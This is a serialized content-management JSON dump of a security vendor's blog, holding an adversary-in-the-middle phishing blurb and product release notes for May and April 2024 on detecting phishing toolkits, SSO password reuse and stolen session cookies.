,{"sys":197026},{"id":188650,"type":909,"linkType":910},[197028],{"data":197029,"marks":197030,"value":192604,"nodeType":865},{},[],{"data":197032,"marks":197033,"value":192608,"nodeType":865},{},[],{"data":197035,"content":197036,"nodeType":866},{},[197037,197040,197048],{"data":197038,"marks":197039,"value":192615,"nodeType":865},{},[],{"data":197041,"content":197044,"nodeType":33606},{"target":197042},{"sys":197043},{"id":182999,"type":909,"linkType":910},[197045],{"data":197046,"marks":197047,"value":192624,"nodeType":865},{},[],{"data":197049,"marks":197050,"value":192628,"nodeType":865},{},[],{"data":197052,"content":197053,"nodeType":866},{},[197054,197057,197063],{"data":197055,"marks":197056,"value":192635,"nodeType":865},{},[],{"data":197058,"content":197059,"nodeType":889},{"uri":171106},[197060],{"data":197061,"marks":197062,"value":192642,"nodeType":865},{},[],{"data":197064,"marks":197065,"value":192646,"nodeType":865},{},[],{"data":197067,"content":197068,"nodeType":866},{},[197069,197072,197080],{"data":197070,"marks":197071,"value":192653,"nodeType":865},{},[],{"data":197073,"content":197076,"nodeType":33606},{"target":197074},{"sys":197075},{"id":188650,"type":909,"linkType":910},[197077],{"data":197078,"marks":197079,"value":192662,"nodeType":865},{},[],{"data":197081,"marks":197082,"value":192666,"nodeType":865},{},[],{"data":197084,"content":197085,"nodeType":1616},{},[197086,197095],{"data":197087,"content":197088,"nodeType":1570},{},[197089],{"data":197090,"content":197091,"nodeType":866},{},[197092],{"data":197093,"marks":197094,"value":192679,"nodeType":865},{},[],{"data":197096,"content":197097,"nodeType":1570},{},[197098],{"data":197099,"content":197100,"nodeType":866},{},[197101],{"data":197102,"marks":197103,"value":192689,"nodeType":865},{},[],{"data":197105,"content":197106,"nodeType":866},{},[197107],{"data":197108,"marks":197109,"value":192696,"nodeType":865},{},[],{"data":197111,"content":197112,"nodeType":866},{},[197113,197116,197124],{"data":197114,"marks":197115,"value":192703,"nodeType":865},{},[],{"data":197117,"content":197120,"nodeType":33606},{"target":197118},{"sys":197119},{"id":57941,"type":909,"linkType":910},[197121],{"data":197122,"marks":197123,"value":192712,"nodeType":865},{},[],{"data":197125,"marks":197126,"value":192716,"nodeType":865},{},[],{"data":197128,"content":197129,"nodeType":866},{},[197130,197133,197141],{"data":197131,"marks":197132,"value":192723,"nodeType":865},{},[],{"data":197134,"content":197137,"nodeType":33606},{"target":197135},{"sys":197136},{"id":192728,"type":909,"linkType":910},[197138],{"data":197139,"marks":197140,"value":192733,"nodeType":865},{},[],{"data":197142,"marks":197143,"value":192737,"nodeType":865},{},[],{"data":197145,"content":197146,"nodeType":866},{},[197147],{"data":197148,"marks":197149,"value":192744,"nodeType":865},{},[],{"data":197151,"content":197154,"nodeType":912},{"target":197152},{"sys":197153},{"id":192749,"type":909,"linkType":910},[],{"data":197156,"content":197157,"nodeType":981},{},[197158],{"data":197159,"marks":197160,"value":192757,"nodeType":865},{},[],{"data":197162,"content":197163,"nodeType":866},{},[197164],{"data":197165,"marks":197166,"value":192764,"nodeType":865},{},[],{"data":197168,"content":197169,"nodeType":866},{},[197170],{"data":197171,"marks":197172,"value":192771,"nodeType":865},{},[],{"data":197174,"content":197175,"nodeType":866},{},[197176],{"data":197177,"marks":197178,"value":192778,"nodeType":865},{},[],{"data":197180,"content":197181,"nodeType":866},{},[197182],{"data":197183,"marks":197184,"value":192785,"nodeType":865},{},[],{"data":197186,"content":197187,"nodeType":866},{},[197188],{"data":197189,"marks":197190,"value":192792,"nodeType":865},{},[],{"data":197192,"content":197193,"nodeType":866},{},[197194],{"data":197195,"marks":197196,"value":192799,"nodeType":865},{},[],{"data":197198,"content":197199,"nodeType":981},{},[197200],{"data":197201,"marks":197202,"value":192806,"nodeType":865},{},[],{"data":197204,"content":197205,"nodeType":866},{},[197206],{"data":197207,"marks":197208,"value":192813,"nodeType":865},{},[],{"data":197210,"content":197211,"nodeType":866},{},[197212,197215,197223],{"data":197213,"marks":197214,"value":192820,"nodeType":865},{},[],{"data":197216,"content":197219,"nodeType":33606},{"target":197217},{"sys":197218},{"id":171181,"type":909,"linkType":910},[197220],{"data":197221,"marks":197222,"value":158231,"nodeType":865},{},[],{"data":197224,"marks":197225,"value":192832,"nodeType":865},{},[],{"data":197227,"content":197228,"nodeType":866},{},[197229],{"data":197230,"marks":197231,"value":192839,"nodeType":865},{},[],{"data":197233,"content":197236,"nodeType":912},{"target":197234},{"sys":197235},{"id":192844,"type":909,"linkType":910},[],{"data":197238,"content":197239,"nodeType":866},{},[197240,197243,197247,197250,197254],{"data":197241,"marks":197242,"value":192852,"nodeType":865},{},[],{"data":197244,"marks":197245,"value":58541,"nodeType":865},{},[197246],{"type":926},{"data":197248,"marks":197249,"value":192860,"nodeType":865},{},[],{"data":197251,"marks":197252,"value":58533,"nodeType":865},{},[197253],{"type":926},{"data":197255,"marks":197256,"value":192868,"nodeType":865},{},[],{"data":197258,"content":197259,"nodeType":866},{},[197260],{"data":197261,"marks":197262,"value":192875,"nodeType":865},{},[],{"data":197264,"content":197265,"nodeType":866},{},[197266,197269,197275],{"data":197267,"marks":197268,"value":168360,"nodeType":865},{},[],{"data":197270,"content":197271,"nodeType":889},{"uri":168173},[197272],{"data":197273,"marks":197274,"value":157843,"nodeType":865},{},[],{"data":197276,"marks":197277,"value":168370,"nodeType":865},{},[],{"data":197279,"content":197282,"nodeType":912},{"target":197280},{"sys":197281},{"id":192895,"type":909,"linkType":910},[],{"data":197284,"content":197285,"nodeType":866},{},[197286,197289,197297],{"data":197287,"marks":197288,"value":192903,"nodeType":865},{},[],{"data":197290,"content":197293,"nodeType":33606},{"target":197291},{"sys":197292},{"id":58195,"type":909,"linkType":910},[197294],{"data":197295,"marks":197296,"value":131656,"nodeType":865},{},[],{"data":197298,"marks":197299,"value":192915,"nodeType":865},{},[],{"data":197301,"content":197302,"nodeType":866},{},[197303],{"data":197304,"marks":197305,"value":192922,"nodeType":865},{},[],{"data":197307,"content":197308,"nodeType":866},{},[197309],{"data":197310,"marks":197311,"value":192929,"nodeType":865},{},[],{"data":197313,"content":197314,"nodeType":981},{},[197315],{"data":197316,"marks":197317,"value":13221,"nodeType":865},{},[],{"data":197319,"content":197320,"nodeType":866},{},[197321],{"data":197322,"marks":197323,"value":192942,"nodeType":865},{},[],{"data":197325,"content":197326,"nodeType":866},{},[197327,197330,197336],{"data":197328,"marks":197329,"value":192949,"nodeType":865},{},[],{"data":197331,"content":197332,"nodeType":889},{"uri":192952},[197333],{"data":197334,"marks":197335,"value":192957,"nodeType":865},{},[],{"data":197337,"marks":197338,"value":1615,"nodeType":865},{},[],{"data":197340,"content":197341,"nodeType":981},{},[197342],{"data":197343,"marks":197344,"value":113824,"nodeType":865},{},[],{"data":197346,"content":197347,"nodeType":866},{},[197348,197351,197357],{"data":197349,"marks":197350,"value":126944,"nodeType":865},{},[],{"data":197352,"content":197353,"nodeType":889},{"uri":16069},[197354],{"data":197355,"marks":197356,"value":14066,"nodeType":865},{},[],{"data":197358,"marks":197359,"value":180692,"nodeType":865},{},[],{"items":197361},[197362,197364],{"sys":197363,"name":126984},{"id":126983},{"sys":197365,"name":342},{"id":4642},{"items":197367},[197368],{"fullName":6500,"firstName":6501,"jobTitle":4616,"profilePicture":197369},{"url":6503},"blog/phishing-2-0-how-phishing-toolkits-are-evolving-with-aitm",{"json":197372},{"data":197373,"content":197374,"nodeType":1382},{},[197375,197382],{"data":197376,"content":197377,"nodeType":866},{},[197378],{"data":197379,"marks":197380,"value":197381,"nodeType":865},{},[],"Attackers are increasingly using new phishing toolkits (open-source, commercial, and criminal) to execute Adversary in the Middle (AitM) attacks. ",{"data":197383,"content":197384,"nodeType":866},{},[197385],{"data":197386,"marks":197387,"value":197388,"nodeType":865},{},[],"AitM enables attackers to not just harvest credentials, but steal live sessions, allowing them to bypass traditional phishing prevention controls such as MFA, EDR, and email content filtering. ",{"id":188650,"publishedAt":197390},"2026-08-12T11:55:21.896Z",{"items":197392},[197393,197395],{"sys":197394,"name":7796},{"id":7795},{"sys":197396,"name":342},{"id":4642},{"items":197398},[197399,197401,197403,197405,197407,197409,197411,197413,197415,197417,197419,197421,197423,197425,197427,197429],{"sys":197400,"name":279,"slug":280,"tier":31},{"id":276},{"sys":197402,"name":519,"slug":520,"tier":31},{"id":516},{"sys":197404,"name":413,"slug":414,"tier":31},{"id":410},{"sys":197406,"name":545,"slug":546,"tier":31},{"id":542},{"sys":197408,"name":342,"slug":343,"tier":31},{"id":339},{"sys":197410,"name":261,"slug":262,"tier":45},{"id":258},{"sys":197412,"name":511,"slug":512,"tier":45},{"id":508},{"sys":197414,"name":466,"slug":467,"tier":45},{"id":463},{"sys":197416,"name":571,"slug":572,"tier":45},{"id":568},{"sys":197418,"name":324,"slug":325,"tier":45},{"id":321},{"sys":197420,"name":484,"slug":485,"tier":45},{"id":481},{"sys":197422,"name":395,"slug":396,"tier":45},{"id":392},{"sys":197424,"name":607,"slug":608,"tier":45},{"id":604},{"sys":197426,"name":475,"slug":476,"tier":45},{"id":472},{"sys":197428,"name":457,"slug":458,"tier":45},{"id":454},{"sys":197430,"name":351,"slug":352,"tier":45},{"id":348},"7lg206QNQHAQTSorKQhjed1nH5dt8v1MzJm-oOTwVpU",{"id":197433,"title":197434,"authorsCollection":197435,"content":197443,"extension":228,"faqItemsCollection":197904,"faqTitle":59,"featured":6,"hashTags":59,"meta":197906,"metaTitle":197907,"ogImage":59,"postType":197908,"publishedDate":197909,"relatedBlogPostsCollection":197910,"slug":198364,"stem":198365,"subtitle":59,"summary":198366,"synopsis":198377,"sys":198378,"tagsCollection":198381,"topicsCollection":198385,"__hash__":198407},"blog/blog/product-release-may-2024.json","Product release: May 2024",{"items":197436},[197437],{"fullName":197438,"firstName":197439,"jobTitle":197440,"socialLinks":59,"profilePicture":197441},"Andy Waugh","Andy","VP Product",{"url":197442},"https://images.ctfassets.net/y1cdw1ablpvd/3Rf76rJn6S9inMb4dUnAIJ/0a787f8141d05b95300e2fe77c4493fa/DSC_6868.jpg",{"json":197444,"links":197864},{"data":197445,"content":197446,"nodeType":1382},{},[197447,197454,197513,197520,197536,197550,197557,197562,197580,197587,197603,197610,197616,197633,197640,197665,197680,197697,197704,197719,197735,197741,197758,197765,197789,197795,197812,197819,197849],{"data":197448,"content":197449,"nodeType":1317},{},[197450],{"data":197451,"marks":197452,"value":197453,"nodeType":865},{},[],"What’s new this month:",{"data":197455,"content":197456,"nodeType":1616},{},[197457,197466,197475,197484,197493,197503],{"data":197458,"content":197459,"nodeType":1570},{},[197460],{"data":197461,"content":197462,"nodeType":866},{},[197463],{"data":197464,"marks":197465,"value":131656,"nodeType":865},{},[],{"data":197467,"content":197468,"nodeType":1570},{},[197469],{"data":197470,"content":197471,"nodeType":866},{},[197472],{"data":197473,"marks":197474,"value":79859,"nodeType":865},{},[],{"data":197476,"content":197477,"nodeType":1570},{},[197478],{"data":197479,"content":197480,"nodeType":866},{},[197481],{"data":197482,"marks":197483,"value":171499,"nodeType":865},{},[],{"data":197485,"content":197486,"nodeType":1570},{},[197487],{"data":197488,"content":197489,"nodeType":866},{},[197490],{"data":197491,"marks":197492,"value":156676,"nodeType":865},{},[],{"data":197494,"content":197495,"nodeType":1570},{},[197496],{"data":197497,"content":197498,"nodeType":866},{},[197499],{"data":197500,"marks":197501,"value":197502,"nodeType":865},{},[],"Require a reason for app usage",{"data":197504,"content":197505,"nodeType":1570},{},[197506],{"data":197507,"content":197508,"nodeType":866},{},[197509],{"data":197510,"marks":197511,"value":197512,"nodeType":865},{},[],"Expanded API and webhooks options",{"data":197514,"content":197515,"nodeType":1317},{},[197516],{"data":197517,"marks":197518,"value":197519,"nodeType":865},{},[],"Prevent SSO password reuse",{"data":197521,"content":197522,"nodeType":866},{},[197523,197527,197532],{"data":197524,"marks":197525,"value":197526,"nodeType":865},{},[],"Instead of trying to detect phishing websites and domains that constantly change, Push can now ",{"data":197528,"marks":197529,"value":197531,"nodeType":865},{},[197530],{"type":926},"detect (and block!) SSO password reuse",{"data":197533,"marks":197534,"value":197535,"nodeType":865},{},[]," based on directly observing user behavior in the browser.",{"data":197537,"content":197538,"nodeType":866},{},[197539,197542,197546],{"data":197540,"marks":197541,"value":24486,"nodeType":865},{},[],{"data":197543,"marks":197544,"value":131656,"nodeType":865},{},[197545],{"type":926},{"data":197547,"marks":197548,"value":197549,"nodeType":865},{},[]," feature detects and blocks when a user enters their identity provider password on a webpage that does not belong to the IdP (e.g. Okta, Google Workspace, Microsoft 365, etc.)",{"data":197551,"content":197552,"nodeType":866},{},[197553],{"data":197554,"marks":197555,"value":197556,"nodeType":865},{},[],"You can choose to warn or block SSO password reuse and customize the message that end-users see.",{"data":197558,"content":197561,"nodeType":912},{"target":197559},{"sys":197560},{"id":80380,"type":909,"linkType":910},[],{"data":197563,"content":197564,"nodeType":866},{},[197565,197568,197577],{"data":197566,"marks":197567,"value":21,"nodeType":865},{},[],{"data":197569,"content":197572,"nodeType":33606},{"target":197570},{"sys":197571},{"id":192728,"type":909,"linkType":910},[197573],{"data":197574,"marks":197575,"value":197576,"nodeType":865},{},[],"See how it works",{"data":197578,"marks":197579,"value":21,"nodeType":865},{},[],{"data":197581,"content":197582,"nodeType":1317},{},[197583],{"data":197584,"marks":197585,"value":197586,"nodeType":865},{},[],"Detect Adversary-in-the-Middle phishing toolkits",{"data":197588,"content":197589,"nodeType":866},{},[197590,197594,197599],{"data":197591,"marks":197592,"value":197593,"nodeType":865},{},[],"The Push browser agent can now ",{"data":197595,"marks":197596,"value":197598,"nodeType":865},{},[197597],{"type":926},"detect when employees visit websites that are using phishing toolkits",{"data":197600,"marks":197601,"value":197602,"nodeType":865},{},[]," such as EvilNoVNC and Evilginx. These tools can mimic legitimate login screens in order to steal credentials and bypass MFA.",{"data":197604,"content":197605,"nodeType":866},{},[197606],{"data":197607,"marks":197608,"value":197609,"nodeType":865},{},[],"Send detections to your SIEM or similar monitoring tool and add malicious sites to a blocklist in Push.",{"data":197611,"content":197615,"nodeType":912},{"target":197612},{"sys":197613},{"id":197614,"type":909,"linkType":910},"450I6V31ET3EbfgMiVBPBR",[],{"data":197617,"content":197618,"nodeType":866},{},[197619,197622,197630],{"data":197620,"marks":197621,"value":21,"nodeType":865},{},[],{"data":197623,"content":197626,"nodeType":33606},{"target":197624},{"sys":197625},{"id":57941,"type":909,"linkType":910},[197627],{"data":197628,"marks":197629,"value":34483,"nodeType":865},{},[],{"data":197631,"marks":197632,"value":21,"nodeType":865},{},[],{"data":197634,"content":197635,"nodeType":1317},{},[197636],{"data":197637,"marks":197638,"value":197639,"nodeType":865},{},[],"Identify session token theft ",{"data":197641,"content":197642,"nodeType":866},{},[197643,197647,197652,197656,197661],{"data":197644,"marks":197645,"value":197646,"nodeType":865},{},[],"You can now use the Push browser agent to ",{"data":197648,"marks":197649,"value":197651,"nodeType":865},{},[197650],{"type":926},"inject a unique marker to the user agent string",{"data":197653,"marks":197654,"value":197655,"nodeType":865},{},[]," of sessions that occur in browsers enrolled in Push. By analyzing logs from your identity provider (e.g. Okta, Microsoft 365, etc.) or other app, you can use the marker to help you ",{"data":197657,"marks":197658,"value":197660,"nodeType":865},{},[197659],{"type":926},"find suspicious activity that indicates a stolen session cookie",{"data":197662,"marks":197663,"value":197664,"nodeType":865},{},[]," in use.",{"data":197666,"content":197667,"nodeType":866},{},[197668,197672,197677],{"data":197669,"marks":197670,"value":197671,"nodeType":865},{},[],"Detecting session hijacking is extremely difficult when relying on device-based monitoring using EDR and network traffic. But by giving legitimate sessions a stamp of approval using the Push browser agent, you can easily ",{"data":197673,"marks":197674,"value":197676,"nodeType":865},{},[197675],{"type":926},"identify access to apps from untrusted devices",{"data":197678,"marks":197679,"value":1615,"nodeType":865},{},[],{"data":197681,"content":197682,"nodeType":866},{},[197683,197686,197694],{"data":197684,"marks":197685,"value":21,"nodeType":865},{},[],{"data":197687,"content":197690,"nodeType":33606},{"target":197688},{"sys":197689},{"id":126746,"type":909,"linkType":910},[197691],{"data":197692,"marks":197693,"value":197576,"nodeType":865},{},[],{"data":197695,"marks":197696,"value":21,"nodeType":865},{},[],{"data":197698,"content":197699,"nodeType":1317},{},[197700],{"data":197701,"marks":197702,"value":197703,"nodeType":865},{},[],"Configure a custom blocklist of URLs",{"data":197705,"content":197706,"nodeType":866},{},[197707,197711,197715],{"data":197708,"marks":197709,"value":197710,"nodeType":865},{},[],"Prevent employees from visiting malicious sites you detect by configuring a custom blocklist of URLs in Push using the ",{"data":197712,"marks":197713,"value":156676,"nodeType":865},{},[197714],{"type":926},{"data":197716,"marks":197717,"value":197718,"nodeType":865},{},[]," feature. You can customize the message shown to end-users by adding your own links and instructions. Use Push’s REST API to programmatically manage URL blocking as part of responding to a phishing incident.",{"data":197720,"content":197721,"nodeType":866},{},[197722,197726,197731],{"data":197723,"marks":197724,"value":197725,"nodeType":865},{},[],"You can use this alongside other Push features like phishing tool detection to ",{"data":197727,"marks":197728,"value":197730,"nodeType":865},{},[197729],{"type":926},"block access to known-bad sites",{"data":197732,"marks":197733,"value":197734,"nodeType":865},{},[]," you find. ",{"data":197736,"content":197740,"nodeType":912},{"target":197737},{"sys":197738},{"id":197739,"type":909,"linkType":910},"1S7cuS7qo5jTcEg7RPPZu6",[],{"data":197742,"content":197743,"nodeType":866},{},[197744,197747,197755],{"data":197745,"marks":197746,"value":21,"nodeType":865},{},[],{"data":197748,"content":197751,"nodeType":33606},{"target":197749},{"sys":197750},{"id":171485,"type":909,"linkType":910},[197752],{"data":197753,"marks":197754,"value":34483,"nodeType":865},{},[],{"data":197756,"marks":197757,"value":21,"nodeType":865},{},[],{"data":197759,"content":197760,"nodeType":1317},{},[197761],{"data":197762,"marks":197763,"value":197764,"nodeType":865},{},[],"Require end-users to submit a reason when using an app",{"data":197766,"content":197767,"nodeType":866},{},[197768,197772,197776,197780,197785],{"data":197769,"marks":197770,"value":197771,"nodeType":865},{},[],"We’ve expanded our popular app banners feature to include a ",{"data":197773,"marks":197774,"value":156723,"nodeType":865},{},[197775],{"type":926},{"data":197777,"marks":197778,"value":197779,"nodeType":865},{},[]," mode that allows you to configure a custom message and require employees to submit a reason ",{"data":197781,"marks":197782,"value":197784,"nodeType":865},{},[197783],{"type":926},"why they need to use a specific app",{"data":197786,"marks":197787,"value":197788,"nodeType":865},{},[]," before they can proceed to log in.",{"data":197790,"content":197794,"nodeType":912},{"target":197791},{"sys":197792},{"id":197793,"type":909,"linkType":910},"6Q7kU16LZdTm8RsyLy660J",[],{"data":197796,"content":197797,"nodeType":866},{},[197798,197801,197809],{"data":197799,"marks":197800,"value":21,"nodeType":865},{},[],{"data":197802,"content":197805,"nodeType":33606},{"target":197803},{"sys":197804},{"id":58256,"type":909,"linkType":910},[197806],{"data":197807,"marks":197808,"value":34483,"nodeType":865},{},[],{"data":197810,"marks":197811,"value":21,"nodeType":865},{},[],{"data":197813,"content":197814,"nodeType":1317},{},[197815],{"data":197816,"marks":197817,"value":197818,"nodeType":865},{},[],"Monitor ‘other apps’ list via Push API and webhooks",{"data":197820,"content":197821,"nodeType":866},{},[197822,197826,197831,197835,197845],{"data":197823,"marks":197824,"value":197825,"nodeType":865},{},[],"You can now keep a closer eye on ",{"data":197827,"marks":197828,"value":197830,"nodeType":865},{},[197829],{"type":926},"all new observed cloud apps",{"data":197832,"marks":197833,"value":197834,"nodeType":865},{},[]," by using the Push API and webhooks to notify you of new entries on the ",{"data":197836,"content":197840,"nodeType":33606},{"target":197837},{"sys":197838},{"id":197839,"type":909,"linkType":910},"WciLKam7PCkbAASOdfiEw",[197841],{"data":197842,"marks":197843,"value":197844,"nodeType":865},{},[],"“other apps” list",{"data":197846,"marks":197847,"value":197848,"nodeType":865},{},[]," or to retrieve specific details about accounts on these apps. The “other apps” list consists of apps accessed by employees that Push doesn’t recognize as work apps but that may still be relevant to your operations. ",{"data":197850,"content":197851,"nodeType":866},{},[197852,197855,197861],{"data":197853,"marks":197854,"value":21,"nodeType":865},{},[],{"data":197856,"content":197857,"nodeType":889},{"uri":168173},[197858],{"data":197859,"marks":197860,"value":34483,"nodeType":865},{},[],{"data":197862,"marks":197863,"value":33479,"nodeType":865},{},[],{"entries":197865},{"inline":197866,"hyperlink":197867,"block":197883},[],[197868,197870,197872,197874,197876,197878],{"sys":197869,"__typename":1429,"title":194309,"slug":194312},{"id":192728},{"sys":197871,"__typename":87613,"title":188144,"slug":188145,"articleId":188146},{"id":57941},{"sys":197873,"__typename":87613,"title":188156,"slug":188157,"articleId":188158},{"id":126746},{"sys":197875,"__typename":87613,"title":188151,"slug":188152,"articleId":188153},{"id":171485},{"sys":197877,"__typename":87613,"title":188161,"slug":188162,"articleId":188163},{"id":58256},{"sys":197879,"__typename":87613,"title":197880,"slug":197881,"articleId":197882},{"id":197839},"What apps appear in the ‘Other apps’ list in Push?","what-apps-appear-in-the-other-apps-list-in-push",10100,[197884,197887,197892,197899],{"sys":197885,"__typename":1390,"title":87718,"caption":59,"layoutMode":59,"file":197886},{"id":80380},{"url":87720,"width":87721,"height":87722},{"sys":197888,"__typename":1390,"title":197889,"caption":59,"layoutMode":59,"file":197890},{"id":197614},"Phishing tool detection - config page - KB 10113",{"url":197891,"width":129357,"height":90606},"https://images.ctfassets.net/y1cdw1ablpvd/6HtqcvdvEPR6MAKe8jeiD5/10957e2a6b436e84f3099f7b4138342d/phishing_tools_config_2.png",{"sys":197893,"__typename":1390,"title":197894,"caption":59,"layoutMode":59,"file":197895},{"id":197739},"Sample block page for URL blocking - KB 10112",{"url":197896,"width":197897,"height":197898},"https://images.ctfassets.net/y1cdw1ablpvd/2t2ceBuafD0iZSTII0UulU/6c65be5e1b9d24f9a0ce35f61592a193/url_block_branded_20260420.png",2674,1628,{"sys":197900,"__typename":1390,"title":197901,"caption":197902,"layoutMode":59,"file":197903},{"id":197793},"App banner - Reason mode - KB 10106","App banner in Reason mode",{"url":154396,"width":154397,"height":47178},{"items":197905},[],{},"Push Security new product features for May 2024","release-notes","2024-05-22T00:00:00.000Z",{"items":197911},[197912,198107],{"__typename":1429,"sys":197913,"content":197915,"title":198095,"synopsis":198096,"hashTags":59,"publishedDate":198097,"slug":198098,"tagsCollection":198099,"authorsCollection":198103},{"id":197914},"3xoO1mzZMMQO8Q2vHuYLFt",{"json":197916},{"data":197917,"content":197918,"nodeType":1382},{},[197919,197926,197959,197965,197981,197987,198003,198010,198026,198032,198049,198056,198072,198078],{"data":197920,"content":197921,"nodeType":1317},{},[197922],{"data":197923,"marks":197924,"value":197925,"nodeType":865},{},[],"Here's what's new on the Push platform this month:",{"data":197927,"content":197928,"nodeType":1616},{},[197929,197939,197949],{"data":197930,"content":197931,"nodeType":1570},{},[197932],{"data":197933,"content":197934,"nodeType":866},{},[197935],{"data":197936,"marks":197937,"value":197938,"nodeType":865},{},[],"Faster insights with the Push dashboard",{"data":197940,"content":197941,"nodeType":1570},{},[197942],{"data":197943,"content":197944,"nodeType":866},{},[197945],{"data":197946,"marks":197947,"value":197948,"nodeType":865},{},[],"Integrate with Okta",{"data":197950,"content":197951,"nodeType":1570},{},[197952],{"data":197953,"content":197954,"nodeType":866},{},[197955],{"data":197956,"marks":197957,"value":197958,"nodeType":865},{},[],"App banner acknowledge mode",{"data":197960,"content":197961,"nodeType":1317},{},[197962],{"data":197963,"marks":197964,"value":197938,"nodeType":865},{},[],{"data":197966,"content":197967,"nodeType":866},{},[197968,197972,197977],{"data":197969,"marks":197970,"value":197971,"nodeType":865},{},[],"Get an overview of the ",{"data":197973,"marks":197974,"value":197976,"nodeType":865},{},[197975],{"type":926},"actionable insights ",{"data":197978,"marks":197979,"value":197980,"nodeType":865},{},[],"from across your ecosystem of accounts, apps, and identities using the Push dashboard, now available in the Push admin console. Pinpoint vulnerable identities at risk of account takeover, see SSO trends across all accounts, and get a snapshot of your identity inventory.",{"data":197982,"content":197986,"nodeType":912},{"target":197983},{"sys":197984},{"id":197985,"type":909,"linkType":910},"1AbJEm5rHOxwYer519AT9C",[],{"data":197988,"content":197989,"nodeType":866},{},[197990,197993,198000],{"data":197991,"marks":197992,"value":21,"nodeType":865},{},[],{"data":197994,"content":197996,"nodeType":889},{"uri":197995},"/help/audience/administrators/docs/view-saas-apps-and-employee-activity/#dashboard",[197997],{"data":197998,"marks":197999,"value":34483,"nodeType":865},{},[],{"data":198001,"marks":198002,"value":21,"nodeType":865},{},[],{"data":198004,"content":198005,"nodeType":1317},{},[198006],{"data":198007,"marks":198008,"value":198009,"nodeType":865},{},[],"Integrate with Okta to enrich your Push data",{"data":198011,"content":198012,"nodeType":866},{},[198013,198017,198022],{"data":198014,"marks":198015,"value":198016,"nodeType":865},{},[],"You can now ",{"data":198018,"marks":198019,"value":198021,"nodeType":865},{},[198020],{"type":926},"integrate with Okta",{"data":198023,"marks":198024,"value":198025,"nodeType":865},{},[]," to sync employee records and pull in a list of your SSO apps to the Push platform, providing a valuable source of truth for data on your workforce accounts and approved apps. By integrating with Okta, you will also be able to capture additional login methods used by employees, such as Okta SWA.",{"data":198027,"content":198031,"nodeType":912},{"target":198028},{"sys":198029},{"id":198030,"type":909,"linkType":910},"2p7QbcSx8G2R8DVpCEZWYk",[],{"data":198033,"content":198034,"nodeType":866},{},[198035,198038,198046],{"data":198036,"marks":198037,"value":21,"nodeType":865},{},[],{"data":198039,"content":198041,"nodeType":889},{"uri":198040},"/help/audience/administrators/docs/add-employees/#integrate-with-okta",[198042],{"data":198043,"marks":198044,"value":198045,"nodeType":865},{},[],"How to integrate",{"data":198047,"marks":198048,"value":21,"nodeType":865},{},[],{"data":198050,"content":198051,"nodeType":1317},{},[198052],{"data":198053,"marks":198054,"value":198055,"nodeType":865},{},[],"New ‘Acknowledge’ mode for app banners",{"data":198057,"content":198058,"nodeType":866},{},[198059,198063,198068],{"data":198060,"marks":198061,"value":198062,"nodeType":865},{},[],"You can now configure app banners to show a larger central message and also ",{"data":198064,"marks":198065,"value":198067,"nodeType":865},{},[198066],{"type":926},"require that an end-user acknowledge the message",{"data":198069,"marks":198070,"value":198071,"nodeType":865},{},[]," before proceeding to use an app, providing stronger in-browser guidance. You may wish to use this mode for GenAI apps or to strongly steer employees away from unapproved file-sharing apps, for example.",{"data":198073,"content":198077,"nodeType":912},{"target":198074},{"sys":198075},{"id":198076,"type":909,"linkType":910},"7chqbwof9wgjdc7642zUbf",[],{"data":198079,"content":198080,"nodeType":866},{},[198081,198084,198092],{"data":198082,"marks":198083,"value":21,"nodeType":865},{},[],{"data":198085,"content":198088,"nodeType":33606},{"target":198086},{"sys":198087},{"id":58256,"type":909,"linkType":910},[198089],{"data":198090,"marks":198091,"value":34483,"nodeType":865},{},[],{"data":198093,"marks":198094,"value":21,"nodeType":865},{},[],"Product release: April 2024","Here’s what’s new on the Push platform for April 2024.","2024-04-17T00:00:00.000Z","product-release-april-2024",{"items":198100},[198101],{"sys":198102,"name":126984},{"id":126983},{"items":198104},[198105],{"fullName":197438,"firstName":197439,"jobTitle":197440,"profilePicture":198106},{"url":197442},{"__typename":1429,"sys":198108,"content":198110,"title":198352,"synopsis":198353,"hashTags":59,"publishedDate":198354,"slug":198355,"tagsCollection":198356,"authorsCollection":198360},{"id":198109},"VgPmHQHDcjoeLaskUECTJ",{"json":198111},{"data":198112,"content":198113,"nodeType":1382},{},[198114,198120,198163,198169,198176,198182,198200,198206,198230,198236,198254,198261,198268,198275,198290,198297,198313,198328,198334],{"data":198115,"content":198116,"nodeType":1317},{},[198117],{"data":198118,"marks":198119,"value":197925,"nodeType":865},{},[],{"data":198121,"content":198122,"nodeType":1616},{},[198123,198133,198143,198153],{"data":198124,"content":198125,"nodeType":1570},{},[198126],{"data":198127,"content":198128,"nodeType":866},{},[198129],{"data":198130,"marks":198131,"value":198132,"nodeType":865},{},[],"Add guardrails to apps with app banners",{"data":198134,"content":198135,"nodeType":1570},{},[198136],{"data":198137,"content":198138,"nodeType":866},{},[198139],{"data":198140,"marks":198141,"value":198142,"nodeType":865},{},[],"Monitor all domains for work app logins",{"data":198144,"content":198145,"nodeType":1570},{},[198146],{"data":198147,"content":198148,"nodeType":866},{},[198149],{"data":198150,"marks":198151,"value":198152,"nodeType":865},{},[],"Better monitoring with Login event webhook",{"data":198154,"content":198155,"nodeType":1570},{},[198156],{"data":198157,"content":198158,"nodeType":866},{},[198159],{"data":198160,"marks":198161,"value":198162,"nodeType":865},{},[],"Detect password usage on recently onboarded SSO apps",{"data":198164,"content":198165,"nodeType":1317},{},[198166],{"data":198167,"marks":198168,"value":198132,"nodeType":865},{},[],{"data":198170,"content":198171,"nodeType":866},{},[198172],{"data":198173,"marks":198174,"value":198175,"nodeType":865},{},[],"Add a custom message that will appear when employees log in or sign up for an app using Push’s new app banner feature (so far, ChatGPT is a popular use case!). These customizable messages let you set guardrails for employees’ use of apps, reducing the risk of security issues and SaaS sprawl. You can check out some examples on our blog.",{"data":198177,"content":198181,"nodeType":912},{"target":198178},{"sys":198179},{"id":198180,"type":909,"linkType":910},"6tfTX8lzV6soQtoaJp38kS",[],{"data":198183,"content":198184,"nodeType":866},{},[198185,198188,198197],{"data":198186,"marks":198187,"value":21,"nodeType":865},{},[],{"data":198189,"content":198193,"nodeType":33606},{"target":198190},{"sys":198191},{"id":198192,"type":909,"linkType":910},"3m48a0kFoN8gh0IZQBup5U",[198194],{"data":198195,"marks":198196,"value":34483,"nodeType":865},{},[],{"data":198198,"marks":198199,"value":21,"nodeType":865},{},[],{"data":198201,"content":198202,"nodeType":1317},{},[198203],{"data":198204,"marks":198205,"value":198142,"nodeType":865},{},[],{"data":198207,"content":198208,"nodeType":866},{},[198209,198213,198218,198222,198226],{"data":198210,"marks":198211,"value":198212,"nodeType":865},{},[],"You can now expand your monitoring of work app logins to include any domain an employee might be using, including non-company or personal accounts. 